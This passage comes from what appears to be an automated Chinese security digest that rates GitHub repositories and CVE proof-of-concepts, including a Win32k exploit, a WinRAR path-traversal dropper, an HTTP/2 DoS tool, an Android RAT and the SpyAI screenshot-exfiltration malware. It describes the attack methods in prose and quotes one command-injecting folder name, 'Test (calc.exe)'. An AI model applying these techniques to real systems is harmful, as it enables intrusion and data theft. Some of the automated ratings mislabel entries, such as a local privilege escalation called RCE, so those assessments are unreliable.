| 仓库名称 | [SpringVulnBoot-frontend](https://github.com/bansh2eBreak/SpringVulnBoot-frontend) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **4**
|
||
- 变更文件数: **9**
|
||
|
||
#### 💡 分析概述
|
||
|
||
引入Shiro-550漏洞测试接口、XMLDecoder反序列化漏洞相关功能,更新了漏洞测试和相关组件。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 基于Vue+SpringBoot的安全靶场平台 |
|
||
| 2 | 增加Shiro-550漏洞利用和漏洞测试接口 |
|
||
| 3 | 新增XMLDecoder反序列化漏洞相关测试功能 |
|
||
| 4 | 影响涉及漏洞测试的测试接口与页面 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 前端代码加入了用于Shiro-550的payload生成、登录、权限测试的API调用,以及对应界面路由和状态管理模块。
|
||
|
||
> 新增XMLDecoder相关的测试接口,支持反序列化漏洞测试,涉及请求headers的内容类型设定和数据提交。
|
||
|
||
> 更新了路由配置,增加对应的漏洞演示入口页面。
|
||
|
||
> 安全影响:提供了针对Shiro-550和XMLDecoder漏洞的测试手段,适合安全研究和验证,但也可能被滥用进行漏洞利用。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 前端API请求模块
|
||
• 漏洞测试页面和路由
|
||
• 状态管理用户信息模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新明确提供针对重点安全漏洞的测试和利用功能,包括Shiro-550和XMLDecoder,具有直接的安全研究和渗透测试价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-49667 - Windows Win32k RCE漏洞
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-49667 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `漏洞利用可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 07:31:35 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-49667](https://github.com/Yuri08loveElaina/CVE-2025-49667)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库包含针对Windows Win32k子系统的一个RCE(远程代码执行)漏洞的PoC代码。仓库只有一个提交,创建了exploit.c文件,该文件包含了漏洞利用代码。代码通过GDI对象喷射和ROP链技术,尝试提升权限并执行shellcode。漏洞利用流程如下:1. 内存喷射:使用GDI对象的内存喷射技术,在内存中布置特定的数据。2. 触发漏洞:通过特定的函数调用或操作,触发Win32k的漏洞。3. ROP链:利用ROP链技术,绕过DEP和ASLR等安全机制,执行shellcode。4. Shellcode:shellcode实现提权,获取SYSTEM权限。通过分析代码,可以发现PoC代码的功能完整,利用方法明确,潜在的风险较高。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | Win32k内核漏洞利用 |
|
||
| 2 | GDI对象喷射技术 |
|
||
| 3 | ROP链绕过安全机制 |
|
||
| 4 | 提权至SYSTEM权限 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:Win32k子系统存在内核漏洞,攻击者可以利用此漏洞控制内核的执行流程。
|
||
|
||
> 利用方法:通过GDI对象喷射内存,结合ROP链,执行shellcode,最终实现提权。
|
||
|
||
> 修复方案:微软官方会发布补丁修复Win32k子系统中的漏洞。用户应及时更新系统以修复漏洞。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Windows Win32 Kernel Subsystem
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该PoC代码实现了远程代码执行(RCE),且有明确的利用方法,可以提升权限至SYSTEM权限。代码功能完整,具有较高的价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2025-8088 - WinRAR 路径穿越漏洞利用
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2025-8088 |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 利用状态 | `POC可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 07:07:59 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE-2025-8088-Multi-Document](https://github.com/pentestfunctions/CVE-2025-8088-Multi-Document)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了一个针对 WinRAR 路径穿越漏洞(CVE-2025-8088)的 Python 脚本,用于部署恶意负载到 Windows 启动文件夹。 仓库的核心是一个 Python 脚本 CVE-2025-8088.py,用于生成一个恶意的 RAR 压缩包。 该脚本通过创建多个不同深度的路径穿越,绕过 WinRAR 的安全机制,最终将恶意文件写入目标系统的启动目录。 最新提交主要更新了 README.md 文件,增加了对脚本的说明,包括关键特性、核心概念(多深度遍历策略、诱饵文件自定义、负载配置等)、使用方法和技术流程。 此外,README.md 描述了防御措施,以及合法的免责声明。 漏洞利用方式是创建一个恶意的 RAR 压缩包,该压缩包包含多个诱饵文件,每个文件都利用路径穿越技术指向 Windows 启动目录下的 payload.bat 文件,实现持久化。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用 WinRAR 路径穿越漏洞,实现代码执行。 |
|
||
| 2 | 通过多深度路径穿越,提高payload写入启动目录的成功率。 |
|
||
| 3 | POC 代码可用,具有完整的利用流程。 |
|
||
| 4 | 影响范围明确,针对使用 WinRAR 的 Windows 系统。 |
|
||
| 5 | 利用条件简单,受害者解压恶意 RAR 文件即可触发。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞原理:WinRAR 存在路径穿越漏洞,允许攻击者在解压文件时将文件写入任意目录。
|
||
|
||
> 利用方法:脚本创建恶意的 RAR 压缩包,包含利用路径穿越的payload。 当受害者解压该 RAR 压缩包时,payload 将被写入 Windows 启动目录,从而实现持久化和代码执行。
|
||
|
||
> 修复方案:更新 WinRAR 到最新版本,避免解压来自不受信任来源的压缩文件,使用能够检测路径穿越尝试的安全软件。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• WinRAR
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞影响广泛使用的 WinRAR 软件,且具有完整的利用代码。 漏洞利用方式明确,通过构造恶意的 RAR 压缩包,实现代码执行,危害较高。
|
||
</details>
|
||
|
||
---
|
||
|
||
### CVE-2023-44487 - CVE-2023-44487 HTTP/2 DoS Tool
|
||
|
||
#### 📌 漏洞信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| CVE编号 | CVE-2023-44487 |
|
||
| 风险等级 | `HIGH` |
|
||
| 利用状态 | `漏洞利用可用` |
|
||
| 发布时间 | 2025-08-16 00:00:00 |
|
||
| 最后更新 | 2025-08-16 05:51:38 |
|
||
|
||
#### 📦 相关仓库
|
||
|
||
- [CVE_2023_44487-Rapid_Reset](https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset)
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了一个针对CVE-2023-44487 (HTTP/2 Rapid Reset)漏洞的测试工具。仓库整体包含Python脚本 rapid_reset_test.py、辅助文档及测试文件。主要功能是模拟HTTP/2 Rapid Reset攻击,通过发送HEADERS帧后立即发送RST_STREAM帧来耗尽服务器资源,从而导致拒绝服务。该工具还支持多种攻击模式,例如Burst Reset、Gradual Reset和Random Reset等,提供了灵活的测试方式。代码更新包括更新了许可证,更新了测试文件和增加了高级演示。漏洞利用方式是快速发送HEADERS帧和RST_STREAM帧导致服务器资源耗尽。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 针对CVE-2023-44487的HTTP/2 Rapid Reset攻击测试工具 |
|
||
| 2 | 支持多种攻击模式,包括Rapid Reset, Burst Reset, Gradual Reset等 |
|
||
| 3 | 提供对连接、请求、时序、协议、头部等参数的精细配置 |
|
||
| 4 | 输出结果包括成功率、请求速率、错误统计等,并支持多种输出格式 |
|
||
| 5 | 通过发送HEADERS帧和RST_STREAM帧来模拟攻击 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 通过构建HTTP/2帧(HEADERS, RST_STREAM)来模拟攻击。
|
||
|
||
> 支持设置并发连接数、请求数、帧间隔等参数来控制攻击强度。
|
||
|
||
> 提供了多种攻击模式,包括标准快速重置、突发重置、逐渐增加重置等。
|
||
|
||
> 通过监控连接状态、请求状态、字节传输量等信息来评估攻击效果。
|
||
|
||
> 支持自定义HTTP头、随机头部生成等功能,增加了攻击的灵活性。
|
||
|
||
> 包含错误处理机制,例如最大错误数设置,攻击过程中遇到错误可以继续进行测试。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• HTTP/2 协议实现的服务器
|
||
• 任何受CVE-2023-44487影响的HTTP/2服务器
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该工具可以用于测试HTTP/2服务器的抗拒绝服务攻击能力,对安全研究和漏洞评估具有重要意义。工具提供了多种攻击模式和详细的配置选项,可以模拟不同的攻击场景,帮助评估服务器的防御能力。该工具具有完整的POC和EXP代码,可以直接用于测试和验证漏洞。
|
||
</details>
|
||
|
||
---
|
||
|
||
### MyFirstAlmostCVE - Windows 11 RCE漏洞及POC
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [MyFirstAlmostCVE](https://github.com/luka-kusulja/MyFirstAlmostCVE) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `新增` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库分享了作者发现的Windows 11 RCE漏洞以及相关的PoC和利用过程。漏洞存在于Windows 11的“Open PowerShell window here”功能中,通过构造特定命名的文件夹,可以在该文件夹的 PowerShell 窗口中执行任意命令,从而实现RCE。该仓库包含了漏洞发现过程、PoC、远程代码执行演示以及规避错误提示的技巧。更新内容为 README 文件添加了详细的漏洞描述,包括漏洞发现、利用、绕过限制等,以及payload.txt,该文件为最终的powershell脚本,用于实现RCE,该脚本修改了文件夹名称、启动新的powershell进程,最终运行计算器。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 发现Windows 11 RCE漏洞 |
|
||
| 2 | 提供PoC和远程代码执行演示 |
|
||
| 3 | 详细说明了漏洞利用和规避方法 |
|
||
| 4 | 与RCE关键词高度相关 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 漏洞利用方式: 通过在 Windows 11 中命名文件夹为 'Test (calc.exe)',然后使用“Open PowerShell window here”功能,可以在该文件夹的 PowerShell 窗口中执行 calc.exe。通过注入恶意命令实现远程代码执行
|
||
|
||
> 技术细节: 通过构造恶意文件夹名称,利用 PowerShell 的特性,结合 Invoke-WebRequest 和 Invoke-Expression 命令实现远程代码执行。payload.txt 脚本修改文件夹名并启动新的powershell,实现计算器的启动。
|
||
|
||
> 规避措施: 通过脚本修改路径,隐藏错误信息
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Windows 11
|
||
• PowerShell
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库直接针对RCE漏洞,提供了PoC,详细说明了漏洞的利用方法和细节,与搜索关键词高度相关,具有较高的安全研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### xss-test - XSS Payload测试平台
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [xss-test](https://github.com/turrab1349/xss-test) |
|
||
| 风险等级 | `LOW` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `GENERAL_UPDATE` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **2**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个用于测试和演示XSS漏洞的payload托管平台,基于GitHub Pages。更新内容主要修改了README.md文件,增加了联系方式和更新了部分内容。由于该仓库主要用于XSS测试,虽然本次更新未直接涉及安全漏洞,但其功能本身与安全研究高度相关,提供XSS payload测试环境,用于漏洞挖掘。此类仓库的更新,比如增加payload或者测试方法,均对安全研究有参考价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 仓库提供XSS payload托管 |
|
||
| 2 | 更新修改了README.md文件 |
|
||
| 3 | 主要用于安全研究和漏洞测试 |
|
||
| 4 | 未直接涉及安全漏洞,但功能与安全研究相关 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 仓库基于GitHub Pages,托管XSS payload
|
||
|
||
> README.md文件更新了联系方式和相关描述
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• GitHub Pages
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
虽然本次更新未直接涉及安全漏洞,但该仓库的功能本身与安全研究高度相关,提供XSS payload测试环境,对安全研究有价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### HWID-Spoofer-Simple - HWID伪造工具,提升隐私安全
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [HWID-Spoofer-Simple](https://github.com/Laulaun/HWID-Spoofer-Simple) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了一个C#编写的HWID欺骗工具,可以修改Windows系统中的各种标识符,例如HWID、PC GUID、计算机名、产品ID和MAC地址等,从而增强隐私和安全。本次更新包括多次提交,具体内容未明确说明,但是该工具本身的功能就具有规避识别的特性。如果该工具被滥用,可以用于逃避软件的检测或限制。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供更改系统标识符的功能,包括HWID、GUID等。 |
|
||
| 2 | 可以用于提高隐私和安全性,规避跟踪和识别。 |
|
||
| 3 | 更新内容未明确说明,但持续更新表明功能维护。 |
|
||
| 4 | 如果被滥用,可以绕过软件检测和限制。 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 该工具使用C#编写,修改Windows系统中的各种标识符。
|
||
|
||
> 修改标识符可能涉及注册表、硬件信息、网络配置等。
|
||
|
||
> 具体更新内容未知,但持续更新说明在维护现有功能或修复相关问题。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Windows操作系统
|
||
• 涉及系统标识符的软件
|
||
• 硬件驱动程序
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该工具的功能在于修改系统标识符,可以规避检测。虽然本次更新内容不明确,但是对隐私和安全有一定影响,并且存在被滥用的风险。
|
||
</details>
|
||
|
||
---
|
||
|
||
### xray-config-toolkit - Xray配置工具包,绕过网络限制
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [xray-config-toolkit](https://github.com/wuqb2i4f/xray-config-toolkit) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `GENERAL_UPDATE` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **285**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个Xray配置工具包,主要功能是生成和管理Xray的配置文件,用于绕过网络审查。 仓库通过多种协议和网络配置,为用户提供灵活的连接方式。更新内容包括添加了多个Cloudflare worker脚本,用于处理配置文件的分发和动态更新,以及大量预定义的JSON配置文件。 这些配置文件针对不同的国家和地区,并包含了多种连接配置。 鉴于该工具用于网络审查规避,因此更新内容可能包含对已知审查机制的绕过策略的更新。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供Xray配置文件生成和管理功能 |
|
||
| 2 | 包含Cloudflare Worker脚本,用于配置分发和更新 |
|
||
| 3 | 预定义的JSON配置文件,针对不同国家和地区 |
|
||
| 4 | 支持多种协议和网络配置,增强绕过能力 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> Cloudflare Worker脚本:用于动态更新和分发Xray配置,提高配置的可用性和灵活性。
|
||
|
||
> JSON配置文件:包含预定义的Xray配置,针对特定地区和网络环境进行优化。配置文件涵盖不同的协议、安全设置和网络设置。
|
||
|
||
> Bash脚本:用于更新核心文件、获取数据、合并分支、Base64编码和负载均衡。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Xray
|
||
• Cloudflare Worker
|
||
• v2rayN
|
||
• v2rayNG
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目提供了Xray配置,用于绕过网络限制,且Cloudflare Worker脚本可以动态更新配置。 这些更新增加了规避审查的能力,所以具有一定的价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Try-Hack-Me-Rooms - TryHackMe房间的渗透测试教程
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Try-Hack-Me-Rooms](https://github.com/snigdhadeb11/Try-Hack-Me-Rooms) |
|
||
| 风险等级 | `LOW` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `GENERAL_UPDATE` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是 TryHackMe 房间的通关指南,涵盖进攻性和防御性安全概念、工具和技术。 主要功能是提供TryHackMe房间的逐步解答,关键知识点以及实用的演练。 仓库的更新包括重命名文件以及创建了 Windows-Fundamentals-1.md 和 Pentesting-Fundamentals.md 文件。其中,Pentesting-Fundamentals.md 介绍了渗透测试的基本概念,如道德规范、行业标准方法、测试范围,并提供了对ACME基础设施进行渗透测试的实践指导。Windows-Fundamentals-1.md 介绍了Windows操作系统的基本知识,包括用户界面、文件系统、用户帐户等。 由于这些更新内容是关于安全相关的,并且内容包含了安全工具、渗透测试方法,以及Windows安全基础知识,因此认为更新是有价值的。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供了TryHackMe房间的通关指南 |
|
||
| 2 | 包含渗透测试的基本概念和实践 |
|
||
| 3 | 涵盖了Windows操作系统的安全基础知识 |
|
||
| 4 | 内容涉及安全工具和技术 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> Windows-Fundamentals-1.md 介绍了Windows操作系统,包括用户界面、文件系统、用户账户等。
|
||
|
||
> Pentesting-Fundamentals.md 介绍了渗透测试的基本概念,道德规范,行业标准方法,测试范围,并提供了对ACME基础设施进行渗透测试的实践指导。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• TryHackMe 平台上的学习房间
|
||
• 渗透测试相关工具
|
||
• Windows操作系统
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
更新内容包含了安全相关的知识,提供了渗透测试的基本概念和实践,有助于学习安全知识和技能
|
||
</details>
|
||
|
||
---
|
||
|
||
### odoomap - Odoo渗透测试工具,枚举数据库
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [odoomap](https://github.com/MohamedKarrab/odoomap) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **4**
|
||
|
||
#### 💡 分析概述
|
||
|
||
OdooMap是一个针对Odoo应用的渗透测试工具,本次更新主要集中在数据库枚举功能的增强。 仓库添加了新的方法来枚举数据库名称,并修改了README.md中关于权限枚举的命令示例。 此次更新增加了使用JSON-RPC方法枚举数据库的功能,如果之前的枚举方法失败,则会尝试使用JSON-RPC接口进行枚举。此外,README.md中关于权限枚举的命令进行了修改,以更正和完善命令的使用说明。 总体上,这次更新改进了数据库信息的收集能力,提高了工具的实用性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 新增了使用JSON-RPC方法枚举Odoo数据库的功能 |
|
||
| 2 | 完善了数据库枚举的流程,增加了容错机制 |
|
||
| 3 | 修复并改进了README.md中权限枚举的命令示例 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 在src/connect.py中,get_databases()方法增加了使用JSON-RPC接口/web/database/list来获取数据库列表的功能。 当之前的列表方法失败时,会尝试使用JSON-RPC方法。如果JSON-RPC方法调用失败,会打印错误信息。
|
||
|
||
> 修改了README.md中的命令示例,修复了权限枚举的命令。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• src/connect.py
|
||
• README.md
|
||
• Odoo 应用程序
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
增加了新的数据库枚举方法,提高了工具的信息收集能力,并修复了文档中的错误,使得工具更加完善。
|
||
</details>
|
||
|
||
---
|
||
|
||
### secutils - Alpine安全工具镜像更新
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [secutils](https://github.com/nmaguiar/secutils) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全修复/安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **4**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供基于Alpine Linux的安全工具镜像,用于漏洞检查。最近更新包括CVE信息更新,主要更新了`.github/sec-build.md`和`.github/sec-build.yaml`文件,似乎是修复和更新了工具链中引用的CVE信息。更新中包含CVE-2025-48734,这是一个Apache Commons BeanUtils的漏洞,以及CVE-2025-55198 Helm相关漏洞,另外涉及数据库scan race condition问题。这些更新体现了该项目对安全漏洞的持续关注和维护。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 更新了CVE漏洞信息,包括Apache Commons BeanUtils和Helm相关漏洞 |
|
||
| 2 | 修复和更新了工具链中引用的CVE信息 |
|
||
| 3 | 维护了Alpine安全工具镜像,用于漏洞检查 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 更新了.github/sec-build.md和.github/sec-build.yaml文件,添加了关于CVE-2025-48734(Apache Commons BeanUtils)、CVE-2025-55198(Helm相关漏洞)等漏洞的描述和引用信息,同时修复数据库scan race condition问题
|
||
|
||
> 漏洞利用和影响分析:CVE-2025-48734可能导致远程代码执行,CVE-2025-55198与Helm有关,其具体影响需要进一步分析。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Apache Commons BeanUtils
|
||
• Helm
|
||
• database/sql
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新修复并更新了安全工具镜像中引用的漏洞信息,涉及到Apache Commons BeanUtils和Helm的相关漏洞,对安全工具镜像的准确性和安全性有积极作用。
|
||
</details>
|
||
|
||
---
|
||
|
||
### eobot-rat-c2 - Android RAT C2 开发与研究
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [eobot-rat-c2](https://github.com/Sturniolox/eobot-rat-c2) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
| 更新类型 | `GENERAL_UPDATE` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个Android RAT C2服务器的开发项目,旨在供安全研究人员和开发者研究Android恶意软件和僵尸网络。本次更新是README.md文件的修改,更新了项目的描述、版本信息和下载链接,并对目录结构进行了调整。虽然更新内容本身并未直接涉及安全漏洞或安全防护措施的技术实现,但考虑到该项目专注于C2框架的开发,属于安全研究范畴,且README的更新通常伴随着代码的迭代,因此仍然具有一定的参考价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 项目是Android RAT C2服务器 |
|
||
| 2 | 针对安全研究人员和开发者的C2框架 |
|
||
| 3 | 更新README.md,修订项目描述和下载链接 |
|
||
| 4 | 更新说明了项目的整体功能和定位 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> README.md 文件的更新包括项目概述、版本信息和下载链接的修订。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• C2服务器
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
虽然本次更新只是README.md的修改,但是该项目本身是一个C2框架,属于安全研究范畴,每次更新都可能涉及到C2框架的迭代和更新,具有一定的研究价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SpyAI - 智能恶意软件,截图并外泄
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SpyAI](https://github.com/freakick22/SpyAI) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `GENERAL_UPDATE` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
SpyAI是一个智能恶意软件,通过截取整个显示器的屏幕截图,并通过Slack将它们外泄到C2服务器。C2服务器使用GPT-4 Vision分析这些截图,并构建每日活动。本次更新主要是README.md文档的修改,包括对项目功能的介绍和配置说明的更新。由于该项目涉及恶意软件,其功能包括屏幕截图和数据外泄,因此存在极高的安全风险。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 恶意软件功能:屏幕截图,数据外泄 |
|
||
| 2 | 使用Slack作为C2通信通道 |
|
||
| 3 | 利用GPT-4 Vision进行图像分析 |
|
||
| 4 | 更新内容为README.md的修改,包含配置说明 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 恶意软件使用C++编写,通过截取屏幕截图来收集信息。
|
||
|
||
> 截图数据通过Slack API发送到C2服务器。
|
||
|
||
> C2服务器使用OpenAI的GPT-4 Vision模型来分析截图,构建活动摘要。
|
||
|
||
> README.md 文件提供了配置示例,包括Slack令牌、频道ID和OpenAI API密钥的配置。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 受害者系统
|
||
• Slack
|
||
• C2服务器
|
||
• OpenAI API
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目是一个恶意软件,功能包括屏幕截图和数据外泄,属于高危恶意行为。虽然本次更新仅为README.md的修改,但项目本身具有极高的安全风险。
|
||
</details>
|
||
|
||
---
|
||
|
||
### VB_C2 - AI辅助退伍军人福利问答系统
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [VB_C2](https://github.com/tyleree/VB_C2) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全工具` |
|
||
| 更新类型 | `代码更新,文档更新` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **15**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库是一个基于Flask框架构建的AI助手,旨在为退伍军人提供福利相关问题的解答。它结合了Pinecone的向量数据库和助手功能。仓库包含一个Flask应用,以及相关的依赖文件和配置。代码实现了与Pinecone MCP助手的交互,以及前后端的交互。更新包括部署文档,代码修复和测试脚本。重点在于使用AI技术回答退伍军人福利问题,具有实际应用价值。主要更新包括了部署指南、代码修复,以及测试脚本,完善了项目的部署和测试流程。虽然没有明显的漏洞利用代码,但其与C2关键词相关性在于可能被用于构建信息窃取或钓鱼攻击的信息收集平台,前提是该系统能被恶意利用来获取用户敏感信息,如社保号或账户凭证。如果结合钓鱼等手段,具有一定的潜在风险。
|
||
|
||
